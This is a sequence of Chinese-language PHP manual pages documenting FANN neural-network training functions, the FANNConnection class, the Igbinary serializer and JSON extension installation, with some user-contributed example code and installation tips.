  • ? fann_set_sarprop_step_error_shift
  • fann_set_sarprop_temperature ?
  • PHP Manual
  • Fann 函数
  • 设置 sarprop 算法的步误差阈值因子

fann_set_sarprop_step_error_threshold_factor

(PECL fann >= 1.0.0)

fann_set_sarprop_step_error_threshold_factor — 设置 sarprop 算法的步误差阈值因子

说明

fann_set_sarprop_step_error_threshold_factor(resource $ann, float $sarprop_step_error_threshold_factor): bool

设置 sarprop 算法的步误差阈值因子。

参数

ann

神经网络 资源。

sarprop_step_error_threshold_factor

sarprop 算法的步误差阈值因子。

返回值

成功时返回 true，其它情况下返回 false。

注释

Note:

This function is only available if the fann extension has been build against libfann >= 2.2.

参见

  • fann_get_sarprop_step_error_threshold_factor() - 返回 sarprop 算法步值的误差阈值系数

User Contributed Notes

There are no user contributed notes for this page.


设置 sarprop 算法的温度

  • ? fann_set_sarprop_step_error_threshold_factor
  • fann_set_sarprop_weight_decay_shift ?
  • PHP Manual
  • Fann 函数
  • 设置 sarprop 算法的温度

fann_set_sarprop_temperature

(PECL fann >= 1.0.0)

fann_set_sarprop_temperature — 设置 sarprop 算法的温度

说明

fann_set_sarprop_temperature(resource $ann, float $sarprop_temperature): bool

设置 sarprop 算法的温度。

参数

ann

神经网络 资源。

sarprop_temperature

sarprop 算法的温度。

返回值

成功时返回 true，其它情况下返回 false。

注释

Note:

This function is only available if the fann extension has been build against libfann >= 2.2.

参见

  • fann_get_sarprop_temperature() - 返回 sarprop 算法温度

User Contributed Notes

There are no user contributed notes for this page.


设置 sarprop 算法的权重衰减偏移值

  • ? fann_set_sarprop_temperature
  • fann_set_scaling_params ?
  • PHP Manual
  • Fann 函数
  • 设置 sarprop 算法的权重衰减偏移值

fann_set_sarprop_weight_decay_shift

(PECL fann >= 1.0.0)

fann_set_sarprop_weight_decay_shift — 设置 sarprop 算法的权重衰减偏移值

说明

fann_set_sarprop_weight_decay_shift(resource $ann, float $sarprop_weight_decay_shift): bool

设置 sarprop 算法的权重衰减偏移值。

参数

ann

神经网络 资源。

sarprop_weight_decay_shift

sarprop 算法的权重衰减偏移值。

返回值

成功时返回 true，其它情况下返回 false。

注释

Note:

This function is only available if the fann extension has been build against libfann >= 2.2.

参见

  • fann_get_sarprop_weight_decay_shift() - 返回 sarprop 算法权重衰减变化值

User Contributed Notes

There are no user contributed notes for this page.


根据训练数据计算输入和输出缩放参数以供将来使用

  • ? fann_set_sarprop_weight_decay_shift
  • fann_set_train_error_function ?
  • PHP Manual
  • Fann 函数
  • 根据训练数据计算输入和输出缩放参数以供将来使用

fann_set_scaling_params

(PECL fann >= 1.0.0)

fann_set_scaling_params — 根据训练数据计算输入和输出缩放参数以供将来使用

说明

fann_set_scaling_params(
resource $ann,
resource $train_data,
float $new_input_min,
float $new_input_max,
float $new_output_min,
float $new_output_max
): bool

根据训练数据计算输入和输出缩放参数以供将来使用。

参数

ann

神经网络 资源。

train_data

神经网络训练数据 资源。

new_input_min

缩放后输入数据的期望下限 (不严格遵循)

new_input_max

缩放后输入数据的期望上限 (不严格遵循)

new_output_min

缩放后输出数据的期望下限 (不严格遵循)

new_output_max

缩放后输出数据的期望上限 (不严格遵循)

返回值

成功时返回 true，其它情况下返回 false。

参见

  • fann_set_input_scaling_params() - 根据训练数据计算将来使用的输入比例参数
  • fann_set_output_scaling_params() - 根据训练数据计算将来使用的输出缩放参数

User Contributed Notes

There are no user contributed notes for this page.


设置训练期间使用的错误函数。

  • ? fann_set_scaling_params
  • fann_set_train_stop_function ?
  • PHP Manual
  • Fann 函数
  • 设置训练期间使用的错误函数。

fann_set_train_error_function

(PECL fann >= 1.0.0)

fann_set_train_error_function — 设置训练期间使用的错误函数。

说明

fann_set_train_error_function(resource $ann, int $error_function): bool

设置训练期间使用的错误函数。

更多错误函数的信息，参见 error functions 常量.

参数

ann

神经网络 资源。

error_function

error function 常量。

返回值

成功时返回 true，其它情况下返回 false。

参见

  • fann_get_train_error_function() - 返回训练中使用的错误函数。

User Contributed Notes

There are no user contributed notes for this page.


设置训练期间使用的停止函数。

  • ? fann_set_train_error_function
  • fann_set_training_algorithm ?
  • PHP Manual
  • Fann 函数
  • 设置训练期间使用的停止函数。

fann_set_train_stop_function

(PECL fann >= 1.0.0)

fann_set_train_stop_function — 设置训练期间使用的停止函数。

说明

fann_set_train_stop_function(resource $ann, int $stop_function): bool

设置训练期间使用的停止函数。

停止函数更多详情，参见 stop functions 常量。

参数

ann

神经网络 资源。

stop_function

stop function 常量。

返回值

成功时返回 true，其它情况下返回 false。

参见

  • fann_get_train_stop_function() - 返回训练中使用的停止函数。

User Contributed Notes

There are no user contributed notes for this page.


设置训练算法。

  • ? fann_set_train_stop_function
  • fann_set_weight_array ?
  • PHP Manual
  • Fann 函数
  • 设置训练算法。

fann_set_training_algorithm

(PECL fann >= 1.0.0)

fann_set_training_algorithm — 设置训练算法。

说明

fann_set_training_algorithm(resource $ann, int $training_algorithm): bool

设置训练算法。

更多信息参见 fann_get_training_algorithm().

参数

ann

神经网络 资源。

training_algorithm

Training algorithm 常量

返回值

成功时返回 true，其它情况下返回 false。

参见

  • fann_get_training_algorithm() - 返回训练算法。

User Contributed Notes

There are no user contributed notes for this page.


在网络中设置一个连接。

  • ? fann_set_training_algorithm
  • fann_set_weight ?
  • PHP Manual
  • Fann 函数
  • 在网络中设置一个连接。

fann_set_weight_array

(PECL fann >= 1.0.0)

fann_set_weight_array — 在网络中设置一个连接。

说明

fann_set_weight_array(resource $ann, array $connections): bool

在网络中设置一个连接。

只有权重将会被改变，连接和权重将被忽略如果它们不存在于网络中。

参数

ann

神经网络 资源。

connections

一个包含 FANNConnection 对象的数组。

返回值

成功时返回 true，其它情况下返回 false。

User Contributed Notes

There are no user contributed notes for this page.


在网络中设置一个连接。

  • ? fann_set_weight_array
  • fann_shuffle_train_data ?
  • PHP Manual
  • Fann 函数
  • 在网络中设置一个连接。

fann_set_weight

(PECL fann >= 1.0.0)

fann_set_weight — 在网络中设置一个连接。

说明

fann_set_weight(
resource $ann,
int $from_neuron,
int $to_neuron,
float $weight
): bool

在网络中设置一个连接。

参数

ann

神经网络 资源。

from_neuron

连接开始处的神经元。

to_neuron

连接结束处的神经元。

weight

连接权重。

返回值

成功时返回 true，其它情况下返回 false。

User Contributed Notes

There are no user contributed notes for this page.


打算训练数据，使顺序随机。

  • ? fann_set_weight
  • fann_subset_train_data ?
  • PHP Manual
  • Fann 函数
  • 打算训练数据，使顺序随机。

fann_shuffle_train_data

(PECL fann >= 1.0.0)

fann_shuffle_train_data — 打算训练数据，使顺序随机。

说明

fann_shuffle_train_data(resource $train_data): bool

打算训练数据，使顺序随机。 增量训练时推荐使用，但是批训练时并没有什么明显的效果。

参数

train_data

神经网络训练数据 资源。

返回值

成功时返回 true，其它情况下返回 false。

User Contributed Notes

There are no user contributed notes for this page.


返回一个训练数据子集的副本。

  • ? fann_shuffle_train_data
  • fann_test_data ?
  • PHP Manual
  • Fann 函数
  • 返回一个训练数据子集的副本。

fann_subset_train_data

(PECL fann >= 1.0.0)

fann_subset_train_data — 返回一个训练数据子集的副本。

说明

fann_subset_train_data(resource $data, int $pos, int $length): resource

返回一个训练数据子集的副本 resource, 从 pos 位置开始向前步进 length 个元素。

fann_subset_train_data(train_data, 0, fann_length_train_data(train_data)) 和 fann_duplicate_train_data()函数的效果是一样的。

参数

data

神经网络训练数据 资源。

pos

起始位置。

length

复制元素的数量。

返回值

成功时返回训练数据 资源，发生错误返回 false。

参见

  • fann_duplicate_train_data() - 返回 fann 训练数据精确的副本。

User Contributed Notes

geekgirl dot joy at gmail dot com 01-Aug-2019 04:54
<?php
// Use this code to split your data into smaller sets.
// Useful for splitting your training data into training and testing groups

// Load Data
$data_file = "MyTrainingData.data";
$train_data = fann_read_train_from_file(dirname(__FILE__)  .  DIRECTORY_SEPARATOR  .  $data_file);

// Calculate how many examples are in the first group
$total_length = fann_length_train_data($train_data);
$a_length = floor($total_length / 10);

// Split the subsets
$training_data_a  = fann_subset_train_data($train_data, 0, $a_length);
$training_data_b  = fann_subset_train_data($train_data, $a_length, $total_length-$a_length);

// Save the training data to separate files
fann_save_train ($training_data_a, 'MyTrainingData_Subset_A.data'); // 1/10 of the training data
fann_save_train ($training_data_b, 'MyTrainingData_Subset_B.data'); // 9/10 of the training data


使用训练数据来测试并且计算出 MSE

  • ? fann_subset_train_data
  • fann_test ?
  • PHP Manual
  • Fann 函数
  • 使用训练数据来测试并且计算出 MSE

fann_test_data

(PECL fann >= 1.0.0)

fann_test_data — 使用训练数据来测试并且计算出 MSE

说明

fann_test_data(resource $ann, resource $data): float

使用训练数据来测试并且计算出 MSE。

该函数将会更新 MSE 和 误差的值。

参数

ann

神经网络 资源。

data

神经网络训练数据 资源。

返回值

成功，则更新 MSE, 错误则返回 false。

参见

  • fann_train_on_data() - 在整个数据集上训练一段时间。
  • fann_train_epoch() - 使用一组训练数据训练一个周期。
  • fann_get_bit_fail() - 失败位的数量
  • fann_get_MSE() - 从网络中读取均方误差。
  • fann_set_training_algorithm() - 设置训练算法。

User Contributed Notes

There are no user contributed notes for this page.


使用一组输入和一组期望的输出来测试。

  • ? fann_test_data
  • fann_train_epoch ?
  • PHP Manual
  • Fann 函数
  • 使用一组输入和一组期望的输出来测试。

fann_test

(PECL fann >= 1.0.0)

fann_test — 使用一组输入和一组期望的输出来测试。

说明

fann_test(resource $ann, array $input, array $desired_output): array

使用一组输入和一组期望的输出来测试。 这个操作将会更新均方误差，但是无论如何都不会改变网络。

参数

ann

神经网络 资源。

input

输入数组。 这个数组必须和 fann_get_num_input() 一样长。

desired_output

期望的输出数组。 这个数组必须和 fann_get_num_output() 一样长.

返回值

成功时返回测试输出，错误时返回 false。

参见

  • fann_test_data() - 使用训练数据来测试并且计算出 MSE
  • fann_train() - 使用一个输入集和一个期望的输出集来迭代训练一次。
  • fann_get_num_input() - 获取输入神经元的数量。
  • fann_get_num_output() - 获取输出神经元的数量。

User Contributed Notes

There are no user contributed notes for this page.


使用一组训练数据训练一个周期。

  • ? fann_test
  • fann_train_on_data ?
  • PHP Manual
  • Fann 函数
  • 使用一组训练数据训练一个周期。

fann_train_epoch

(PECL fann >= 1.0.0)

fann_train_epoch — 使用一组训练数据训练一个周期。

说明

fann_train_epoch(resource $ann, resource $data): float

使用保存在 data 中训练数据训练一个周期。一个训练周期表示所有的训练数据正好使用了一次。

这个函数将会返回在其实际计算之前或当中被计算的 MSE 错误。但是因为计算需要再次走一遍整个训练集，所有训练周期之后的不是真正的 MSE。 在训练中使用这个值是绰绰有余的。

该函数使用的是被 fann_set_training_algorithm() 函数选中的训练算法。

参数

ann

神经网络 资源。

data

神经网络训练数据 资源。

返回值

成功，则返回 MSE, 错误则返回 false .

参见

  • fann_train_on_data() - 在整个数据集上训练一段时间。
  • fann_test_data() - 使用训练数据来测试并且计算出 MSE
  • fann_get_MSE() - 从网络中读取均方误差。
  • fann_set_training_algorithm() - 设置训练算法。

User Contributed Notes

geekgirljoy at gmail dot com 29-Oct-2018 02:26
This code demonstrates training XOR using fann_train_epoch and will let you watch the training process by observing a psudo MSE (mean squared error).

Other training functions: fann_train_on_data, fann_train_on_file, fann_train.

fann_train_epoch is useful when you want to observe the ANN while it is training and perhaps save snapshots or compare competing networks during training.

fann_train_epoch is different from fann_train in that it takes a data resource (training file) whereas fann_train takes an array of inputs and a separate array of outputs so use fann_train_epoch for observing training on data files (callback training resources) and use fann_train when observing manually specified data.

Example code:

<?php
$num_input = 2;
$num_output = 1;
$num_layers = 3;
$num_neurons_hidden = 3;
$desired_error = 0.0001;
$max_epochs = 500000;
$current_epoch = 0;
$epochs_between_saves = 100; // Minimum number of epochs between saves
$epochs_since_last_save = 0;
$filename = dirname(__FILE__) . "/xor.data";

// Initialize psudo mse (mean squared error) to a number greater than the desired_error
// this is what the network is trying to minimize.
$psudo_mse_result = $desired_error * 10000; // 1
$best_mse = $psudo_mse_result; // keep the last best seen MSE network score here

// Initialize ANN
$ann = fann_create_standard($num_layers, $num_input, $num_neurons_hidden, $num_output);

if ($ann) {
  echo 'Training ANN... ' . PHP_EOL;

  // Configure the ANN
  fann_set_training_algorithm ($ann , FANN_TRAIN_BATCH);
  fann_set_activation_function_hidden($ann, FANN_SIGMOID_SYMMETRIC);
  fann_set_activation_function_output($ann, FANN_SIGMOID_SYMMETRIC);

  // Read training data
  $train_data = fann_read_train_from_file($filename);

  // Check if psudo_mse_result is greater than our desired_error
  // if so keep training so long as we are also under max_epochs
  while(($psudo_mse_result > $desired_error) && ($current_epoch <= $max_epochs)){
    $current_epoch++;
    $epochs_since_last_save++;

    // See: http://php.net/manual/en/function.fann-train-epoch.php
    // Train one epoch with the training data stored in data.
    //
    // One epoch is where all of the training data is considered
    // exactly once.
    //
    // This function returns the MSE error as it is calculated
    // either before or during the actual training. This is not the
    // actual MSE after the training epoch, but since calculating this
    // will require to go through the entire training set once more.
    // It is more than adequate to use this value during training.
    $psudo_mse_result = fann_train_epoch ($ann , $train_data );
    echo 'Epoch ' . $current_epoch . ' : ' . $psudo_mse_result . PHP_EOL; // report

    // If we haven't saved the ANN in a while...
    // and the current network is better then the previous best network
    // as defined by the current MSE being less than the last best MSE
    // Save it!
    if(($epochs_since_last_save >= $epochs_between_saves) && ($psudo_mse_result < $best_mse)){

      $best_mse = $psudo_mse_result; // we have a new best_mse

      // Save a Snapshot of the ANN
      fann_save($ann, dirname(__FILE__) . "/xor.net");
      echo 'Saved ANN.' . PHP_EOL; // report the save
      $epochs_since_last_save = 0; // reset the count
    }

  } // While we're training

  echo 'Training Complete! Saving Final Network.'  . PHP_EOL;

  // Save the final network
  fann_save($ann, dirname(__FILE__) . "/xor.net");
  fann_destroy($ann); // free memory
}
echo 'All Done!' . PHP_EOL;
?>


在整个数据集上训练一段时间。

  • ? fann_train_epoch
  • fann_train_on_file ?
  • PHP Manual
  • Fann 函数
  • 在整个数据集上训练一段时间。

fann_train_on_data

(PECL fann >= 1.0.0)

fann_train_on_data — 在整个数据集上训练一段时间。

说明

fann_train_on_data(
resource $ann,
resource $data,
int $max_epochs,
int $epochs_between_reports,
float $desired_error
): bool

在整个数据集上训练一段时间。

该训练使用 fann_set_training_algorithm() 函数选择的算法和这些训练算法设置的参数。

参数

ann

神经网络 资源。

data

神经网络训练数据 资源。

max_epochs

训练应该继续的最大周期数。

epochs_between_reports

用户函数之间的周期数。当为0时表示没有用户函数被调用。

desired_error

期望的是 fann_get_MSE() 或 fann_get_bit_fail()的返回值, 取决于 fann_set_train_stop_function() 选择的停止函数。

返回值

成功时返回 true，其它情况下返回 false。

参见

  • fann_train_on_file() - 在从某个文件读取的整个数据集上训练一段时间。
  • fann_train_epoch() - 使用一组训练数据训练一个周期。
  • fann_get_bit_fail() - 失败位的数量
  • fann_get_MSE() - 从网络中读取均方误差。
  • fann_set_train_stop_function() - 设置训练期间使用的停止函数。
  • fann_set_training_algorithm() - 设置训练算法。
  • fann_set_callback() - 设置训练期间使用的回调函数。

User Contributed Notes

There are no user contributed notes for this page.


在从某个文件读取的整个数据集上训练一段时间。

  • ? fann_train_on_data
  • fann_train ?
  • PHP Manual
  • Fann 函数
  • 在从某个文件读取的整个数据集上训练一段时间。

fann_train_on_file

(PECL fann >= 1.0.0)

fann_train_on_file — 在从某个文件读取的整个数据集上训练一段时间。

说明

fann_train_on_file(
resource $ann,
string $filename,
int $max_epochs,
int $epochs_between_reports,
float $desired_error
): bool

在从某个文件读取的整个数据集上训练一段时间。

该训练使用 fann_set_training_algorithm() 函数选择的算法和这些训练算法设置的参数。

参数

ann

神经网络 资源。

filename

包含训练数据的文件。

max_epochs

训练应该继续的最大周期数。

epochs_between_reports

用户函数之间的周期数。当为0时表示没有用户函数被调用。

desired_error

期望的是 fann_get_MSE() 或 fann_get_bit_fail()的返回值, 取决于 fann_set_train_stop_function() 选择的停止函数。

返回值

成功时返回 true，其它情况下返回 false。

参见

  • fann_train_on_data() - 在整个数据集上训练一段时间。
  • fann_train_epoch() - 使用一组训练数据训练一个周期。
  • fann_get_bit_fail() - 失败位的数量
  • fann_get_MSE() - 从网络中读取均方误差。
  • fann_set_train_stop_function() - 设置训练期间使用的停止函数。
  • fann_set_training_algorithm() - 设置训练算法。
  • fann_set_callback() - 设置训练期间使用的回调函数。

User Contributed Notes

geekgirljoy at gmail dot com 01-Nov-2018 05:11
Training File (xor.data):
4 2 1
-1 -1
-1
-1 1
1
1 -1
1
1 1
-1

<?php
$num_input = 2;
$num_output = 1;
$num_layers = 3;
$num_neurons_hidden = 3;
$desired_error = 0.001;
$max_epochs = 500000;
$epochs_between_reports = 1000;
$training_data = dirname(__FILE__) . "/xor.data";  // training data file
$ann_save_file = dirname(__FILE__) . "/xor_float.net";  // training data file

// Create ANN object using
$ann = fann_create_standard($num_layers, $num_input, $num_neurons_hidden, $num_output);

if ($ann) {

    // Configure the ANN Activation Function
    fann_set_activation_function_hidden($ann, FANN_SIGMOID_SYMMETRIC);
    fann_set_activation_function_output($ann, FANN_SIGMOID_SYMMETRIC);

    // Try to train using fann_train_on_file()
    if (fann_train_on_file($ann, $training_data, $max_epochs, $epochs_between_reports, $desired_error)){
        echo 'xor trained.' . PHP_EOL);
    }

    // Try to save
    if (fann_save($ann, $ann_save_file)){
        echo 'xor saved.' . PHP_EOL);
    }

    // Destroy the $ann object
    fann_destroy($ann);
}
?>


使用一个输入集和一个期望的输出集来迭代训练一次。

  • ? fann_train_on_file
  • FANNConnection ?
  • PHP Manual
  • Fann 函数
  • 使用一个输入集和一个期望的输出集来迭代训练一次。

fann_train

(PECL fann >= 1.0.0)

fann_train — 使用一个输入集和一个期望的输出集来迭代训练一次。

说明

fann_train(resource $ann, array $input, array $desired_output): bool

使用一个输入集和一个期望的输出集来迭代训练一次。 该训练一直是递增训练，因此只会出现一个模式。

参数

ann

神经网络 资源。

input

输入数组，这个数组的长度应该恰好和 fann_get_num_input() 一样长。

desired_output

期望输出数组，这个数组的长度应该恰好和fann_get_num_output() 一样长。

返回值

成功时返回 true，其它情况下返回 false。

参见

  • fann_train_on_data() - 在整个数据集上训练一段时间。
  • fann_train_epoch() - 使用一组训练数据训练一个周期。
  • fann_get_num_input() - 获取输入神经元的数量。
  • fann_get_num_output() - 获取输出神经元的数量。

User Contributed Notes

There are no user contributed notes for this page.


FANNConnection 类

(No version information available, might only be in Git)

简介

FANNConnection 被用于神经网络的连接。 该类的对象一般在 fann_get_connection_array() 和 fann_set_weight_array() 中被使用。

类摘要

class FANNConnection {
/* 属性 */
public $from_neuron;
public $to_neuron;
public $weight;
/* 方法 */
public __construct(int $from_neuron, int $to_neuron, float $weight)
public getFromNeuron(): int
public getToNeuron(): int
public getWeight(): void
public setWeight(float $weight): void
}

属性

from_neuron

开始连接的神经元。

to_neuron

结束连接的神经元。

weight

连接的权重。

Table of Contents

  • FANNConnection::__construct — 连接构造器
  • FANNConnection::getFromNeuron — 返回开始连接的神经元
  • FANNConnection::getToNeuron — 返回终止神经元的位置
  • FANNConnection::getWeight — 返回连接权重。
  • FANNConnection::setWeight — 设置连接权重。

User Contributed Notes

There are no user contributed notes for this page.


连接构造器

  • ? FANNConnection
  • FANNConnection::getFromNeuron ?
  • PHP Manual
  • FANNConnection
  • 连接构造器

FANNConnection::__construct

(PECL fann >= 1.0.0)

FANNConnection::__construct — 连接构造器

说明

public FANNConnection::__construct(int $from_neuron, int $to_neuron, float $weight)

创建一个新的连接并且初始化它的参数。一旦连接被初始化，只有其权重能被修改。

参数

from_neuron

起始神经元的位置编号。

to_neuron

终止神经元的位置编号。

weight

连接的权重。

User Contributed Notes

There are no user contributed notes for this page.


返回开始连接的神经元

  • ? FANNConnection::__construct
  • FANNConnection::getToNeuron ?
  • PHP Manual
  • FANNConnection
  • 返回开始连接的神经元

FANNConnection::getFromNeuron

(PECL fann >= 1.0.0)

FANNConnection::getFromNeuron — 返回开始连接的神经元

说明

public FANNConnection::getFromNeuron(): int

返回开始连接的神经元。

参数

此函数没有参数。

返回值

开始连接的神经元。

User Contributed Notes

There are no user contributed notes for this page.


返回终止神经元的位置

  • ? FANNConnection::getFromNeuron
  • FANNConnection::getWeight ?
  • PHP Manual
  • FANNConnection
  • 返回终止神经元的位置

FANNConnection::getToNeuron

(PECL fann >= 1.0.0)

FANNConnection::getToNeuron — 返回终止神经元的位置

说明

public FANNConnection::getToNeuron(): int

返回终止神经元的位置。

参数

此函数没有参数。

返回值

终止神经元的位置。

User Contributed Notes

There are no user contributed notes for this page.


返回连接权重。

  • ? FANNConnection::getToNeuron
  • FANNConnection::setWeight ?
  • PHP Manual
  • FANNConnection
  • 返回连接权重。

FANNConnection::getWeight

(PECL fann >= 1.0.0)

FANNConnection::getWeight — 返回连接权重。

说明

public FANNConnection::getWeight(): void

返回连接权重。

参数

此函数没有参数。

返回值

连接权重。

User Contributed Notes

There are no user contributed notes for this page.


设置连接权重。

  • ? FANNConnection::getWeight
  • Igbinary ?
  • PHP Manual
  • FANNConnection
  • 设置连接权重。

FANNConnection::setWeight

(PECL fann >= 1.0.0)

FANNConnection::setWeight — 设置连接权重。

说明

public FANNConnection::setWeight(float $weight): void

设置连接权重。

该方法不同于 fann_set_weight() 方法. 该方法不会网络中的权重值。只有当调用了 fann_set_weight_array() 方法后网络中的权重值才会更改。

参数

weight

连接权重。

返回值

无返回值。

User Contributed Notes

There are no user contributed notes for this page.


Igbinary

  • 简介
  • 安装/配置
    • 需求
    • 安装
    • 运行时配置
  • Igbinary 函数
    • igbinary_serialize — Generates a compact, storable binary representation of a value
    • igbinary_unserialize — Creates a PHP value from a stored representation from igbinary_serialize

User Contributed Notes

There are no user contributed notes for this page.


简介

Igbinary is a drop in replacement for the standard PHP serializer. Instead of the time and space consuming textual representation used by PHP's serialize(), igbinary stores PHP data structures in a compact binary form. Memory savings are significant when using memcached, APCu, or similar memory based storages for serialized data. The typical reduction in storage requirements are around 50%. The exact percentage depends on the data.

User Contributed Notes

There are no user contributed notes for this page.


安装

此 » PECL 扩展未与 PHP 捆绑。

安装此 PECL 扩展相关的信息可在手册中标题为 PECL 扩展的安装章节中找到。更多信息如新的发行版本、下载、源文件、 维护人员信息及变更日志等，都在此处： » https://pecl.php.net/package/igbinary.

此扩展在 Windows 平台的二进制扩展 (DLL 文件) PECL 可以在 PECL 官方网站上下载。

User Contributed Notes

There are no user contributed notes for this page.


运行时配置

这些函数的行为受 php.ini 中的设置影响。

Igbinary 配置选项
名字 | 默认 | 可修改范围 | 更新日志
igbinary.compact_strings | 1 | PHP_INI_ALL |
Session Configuration Options Affecting Igbinary Behavior
名字 | 默认 | 可修改范围 | 更新日志
session.save_handler | "files" | PHP_INI_ALL |
有关 PHP_INI_* 样式的更多详情与定义，见 配置可被设定范围。

这是配置指令的简短说明。

igbinary.compact_strings bool

Enable or disable compacting of duplicate strings. The default is On.

session.save_handler string

Igbinary is used as session handler by setting this value to igbinary.

User Contributed Notes

There are no user contributed notes for this page.


Igbinary 函数

Table of Contents

  • igbinary_serialize — Generates a compact, storable binary representation of a value
  • igbinary_unserialize — Creates a PHP value from a stored representation from igbinary_serialize

User Contributed Notes

There are no user contributed notes for this page.


Generates a compact, storable binary representation of a value

  • ? Igbinary 函数
  • igbinary_unserialize ?
  • PHP Manual
  • Igbinary 函数
  • Generates a compact, storable binary representation of a value

igbinary_serialize

(PECL igbinary >= 1.1.1)

igbinary_serialize — Generates a compact, storable binary representation of a value

说明

igbinary_serialize(mixed $value): string|false

Generates a storable representation of a value.

This is useful for storing or passing PHP values around without losing their type and structure.

To make the serialized string into a PHP value again, igbinary_unserialize() can be used.

参数

value

The value to be serialized. igbinary_serialize() handles all types, except the resource-type and some objects (see note below). Even arrays that contain references to itself can be processed by igbinary_serialize(). Circular references inside the array or object that is being serializend will also be stored. Any other reference will be lost.

When serializing objects, igbinary will attempt to call the member functions __serialize() or __sleep() prior to serialization. This is to allow the object to do any last minute clean-up, etc. prior to being serialized. Likewise, when the object is restored using igbinary_unserialize() the __unserialize() or __wakeup() member function is called.

Note:

Private members of objects have the class name prepended to the member name; protected members have a '*' prepended to the member name. These prepended values have null bytes on either side.

返回值

Returns a string containing a byte-stream representation of value that can be stored anywhere.

Note that this is a binary string which can include any byte value, and needs to be stored and handled as such. For example, igbinary_serialize() output should generally be stored in a BLOB field in a database, rather than a CHAR or TEXT field.

示例

Example #1 igbinary_serialize() example

<?php
$ser = igbinary_serialize(['test', 'test']);
echo urlencode($ser), "\n";
var_export(igbinary_unserialize($ser));
?>

以上示例会输出：

%00%00%00%02%14%02%06%00%11%04test%06%01%0E%00
array (
  0 => 'test',
  1 => 'test',
)

注释

Note:

Note that many built-in PHP objects cannot be serialized. However, those with this ability either implement the Serializable interface or the magic __serialize()/__unserialize() or __sleep()/__wakeup() methods. If an internal class does not fulfill any of those requirements, it cannot reliably be serialized with any serializer.

There are some historical exceptions to the above rule, where some internal objects could be serialized without implementing the interface or exposing the methods.

参见

  • serialize() - 生成值的可存储表示
  • igbinary_unserialize() - Creates a PHP value from a stored representation from igbinary_serialize
  • var_export() - 输出或返回变量的可解析字符串表示
  • json_encode() - 对变量进行 JSON 编码
  • Serializing Objects
  • __sleep()
  • __wakeup()
  • __serialize()
  • __unserialize()

User Contributed Notes

There are no user contributed notes for this page.


Creates a PHP value from a stored representation from igbinary_serialize

  • ? igbinary_serialize
  • JSON ?
  • PHP Manual
  • Igbinary 函数
  • Creates a PHP value from a stored representation from igbinary_serialize

igbinary_unserialize

(PECL igbinary >= 1.1.1)

igbinary_unserialize — Creates a PHP value from a stored representation from igbinary_serialize()

说明

igbinary_unserialize(string $str): mixed

igbinary_unserialize() takes a single serialized variable from igbinary_serialize() and converts it back into a PHP value.

Warning

Untrusted user input must not be passed to igbinary_unserialize(). Unserialization can result in code being loaded and executed due to object instantiation and autoloading, and a malicious user may be able to exploit this. Instead a safe, standard data interchange format such as JSON (via json_decode() and json_encode()) should be used, if serialized data needs to be passed to a client.

If there is the need to unserialize externally-stored serialized data, hash_hmac() can be used for data validation. It is important to ensure that nobody has tampered with the data.

Warning

The igbinary serialization format does not provide a way to distinguish between different reference groups for the same value. All PHP references to a given value as treated as part of the same reference group when unserialized, even if they were parts of difference reference groups when serialized.

参数

str

The serialized string generated by igbinary_serialize().

If the value being unserialized is an object, after successfully reconstructing the object igbinary will automatically attempt to call the __unserialize() or __wakeup() methods (if one exists).

Note: unserialize_callback_func directive

It is possible to set a callback function which will be called, if an undefined class should be instantiated during unserializing. (to prevent getting an incomplete object __PHP_Incomplete_Class.) The php.ini, ini_set() or .htaccess can be used to define unserialize_callback_func. Everytime an undefined class should be instantiated, it will be called. To disable this feature this setting should be emptied.

返回值

The converted value is returned, and can be a bool, int, float, string, array, object, or null.

In case the passed string is not unserializeable, false is returned and E_NOTICE or E_WARNING is issued.

错误／异常

Objects may throw Throwables in their unserialization handlers.

注释

Warning

null or false is returned both in the case of an error and if unserializing the serialized null or false value. It is possible to catch this special case by comparing str with igbinary_serialize(null) or igbinary_serialize(false) or by catching the issued E_NOTICE.

参见

  • unserialize() - 从已存储的表示中创建 PHP 的值
  • json_encode() - 对变量进行 JSON 编码
  • json_decode() - 对 JSON 格式的字符串进行解码
  • hash_hmac() - 使用 HMAC 方法生成带有密钥的散列值
  • igbinary_serialize() - Generates a compact, storable binary representation of a value
  • Autoloading Classes
  • unserialize_callback_func
  • __wakeup()
  • __serialize()
  • __unserialize()

User Contributed Notes

There are no user contributed notes for this page.


JavaScript 对象表示法（JSON）

  • 简介
  • 安装/配置
    • 需求
    • 安装
    • 运行时配置
    • 资源类型
  • 预定义常量
  • JsonException — JsonException 类
  • JsonSerializable — JSON 序列化接口
    • JsonSerializable::jsonSerialize — 指定需要被序列化成 JSON 的数据
  • JSON 函数
    • json_decode — 对 JSON 格式的字符串进行解码
    • json_encode — 对变量进行 JSON 编码
    • json_last_error_msg — 返回最后一次调用 json_encode() 或 json_decode() 时产生的错误信息
    • json_last_error — 返回最后发生的错误
    • json_validate — 检查一个字符串是否包含有效的JSON

User Contributed Notes

There are no user contributed notes for this page.


简介

本扩展实现了 » JavaScript 对象表示法（JSON）数据转换格式。PHP 中的解析器，专门为 PHP 订制，软件许可证为 PHP license。

Note:

PHP 实现了 JSON 的一个超集，参考 » RFC 7159.

User Contributed Notes

There are no user contributed notes for this page.


安装

JSON 扩展默认内置并编译进了 PHP。

自 PHP 8.0.0 起，JSON 扩展是核心 PHP 扩展，所以始终启用。

安装此 PECL 扩展相关的信息可在手册中标题为 PECL 扩展的安装章节中找到。更多信息如新的发行版本、下载、源文件、 维护人员信息及变更日志等，都在此处： » https://pecl.php.net/package/json

User Contributed Notes

Anonymous 08-Apr-2020 07:32
even though the manual says the json extension is enabled by default and compiled into the core, I had to do a "yum install php-json" on centos 8 running php 7.2
YesCT 27-Jun-2014 07:44
on CentOS php 5.5.13 had to:
yum install php55u-pecl-jsonc php55u-pecl-jsonc-devel
ferenczy at NOSPAM dot volny dot cz 11-Dec-2013 03:46
On Ubuntu 13.10 you have to install this extension first (PHP 5.5.3):

   apt-get install php5-json

(Don't forget to restart web server.)
haebler at gmail dot com 22-Jan-2011 09:45
On RHEL5/CentOS5 add the EPEL repository (http://fedoraproject.org/wiki/EPEL).

After that, installation is as simple as:

    sudo yum install php-pecl-json
cko at audaxis dot com 19-Oct-2010 06:11
On gentoo, need the USE flag "json" to compile into php
dave at davidhbrown dot us 20-Jan-2009 04:24
On one server I use (FreeBSD 6.3; PHP 5.2.6 as module in Apache 2.2.10), PHP was compiled with the '--disable-all' configuration option. Consequently, there exists a secondary configuration file -- /usr/local/php5/etc/extensions.ini -- in which the line

; extension=json.so

must be uncommented (delete the semicolon) and Apache restarted for these functions to be available.


预定义常量

